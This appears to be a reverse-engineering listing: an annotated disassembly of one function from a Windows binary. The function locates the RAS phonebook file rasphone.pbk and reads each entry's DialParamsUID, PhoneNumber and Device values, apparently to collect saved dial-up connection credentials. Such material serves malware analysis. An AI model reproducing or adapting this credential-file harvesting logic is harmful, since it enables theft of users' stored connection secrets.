Function at 0x10004b10
Capabilities:
Check os version
Get common file path

Disassembly:
sub esp, 0x7c0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0xc0]
push 0x105
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0xc4]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [0x10020290]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0xc0]
push edx
push eax
call dword [0x1002028c]
lea ecx, [esp + 0xc0]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call dword [0x1002028c]
push 0
lea edx, [esp + 0x2cc]
push 0x23
push edx
push 0
call dword [0x100201cc]
lea eax, [esp + 0x2c8]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x2d0]
push str._s_s
push ecx
call dword [0x100201f8]
add esp, 0x10
lea ecx, [esp + 0x2c]
lea edx, [esp + 0xc0]
lea eax, [esp + 0x2c8]
push ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x3c]
mov edi, 2
cmp eax, edi
jne 0x10004bef
cmp dword [esp + 0x30], 5
jb 0x10004bef
mov ecx, esi
call fcn.10004a30
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
lea edx, [esp + 0x28]
add esp, 4
mov dword [esp + 0x20], ebp
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], edi
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
push eax
push 0x1000
push ebp
mov dword [esp + 0x28], eax
call dword [0x10020298]
cmp byte [ebp], 0
je 0x10004dec
push ebp
mov ecx, esi
call fcn.10005280
mov dword [esp + 0x14], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1c8]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x5d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x6d0]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x1c8]
push ecx
push pe_nt_image_headers32
push edx
push eax
push str.DialParamsUID
push ebp
call dword [0x1002029c]
test eax, eax
jle 0x10004d36
mov eax, dword [esi + 0x10]
xor ebx, ebx
test eax, eax
jle 0x10004d36
xor edi, edi
mov edx, dword [esi + 0x1c]
mov eax, edi
add eax, edx
lea ecx, [esp + 0x1c8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10004cea
mov eax, dword [esi + 0x10]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x10004cc0
jmp 0x10004d36
mov edx, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
lea ecx, [esp + 0x4d0]
lea eax, [edi + edx + 0x200]
push eax
push ecx
call dword [0x10020290]
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x5d0]
lea eax, [edi + edx + 0x100]
push eax
push ecx
call dword [0x10020290]
mov edx, dword [esi + 0x1c]
mov byte [edi + edx + 0x300], 1
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x3d0]
push edi
push pe_nt_image_headers32
push eax
push 0
push str.PhoneNumber
push ebp
call dword [0x1002029c]
push edi
lea ecx, [esp + 0x6d4]
push pe_nt_image_headers32
push ecx
push 0
push str.Device
push ebp
call dword [0x1002029c]
lea edx, [esp + 0x6d0]
mov ecx, esi
push edx
call fcn.10005280
mov edi, eax
lea eax, [esp + 0x4d0]
push eax
mov ecx, esi
call fcn.10005280
lea ecx, [esp + 0x3d0]
push edi
lea edx, [esp + 0x5d4]
mov ebx, eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push ebx
lea ecx, [esp + 0x1d8]
push eax
push ecx
mov ecx, esi
call fcn.10004e20
mov edx, dword [esp + 0x14]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebp
call dword [0x10020294]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004c3a
mov ebp, dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
add ecx, 4
dec eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
jne 0x10004c0e
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c0
ret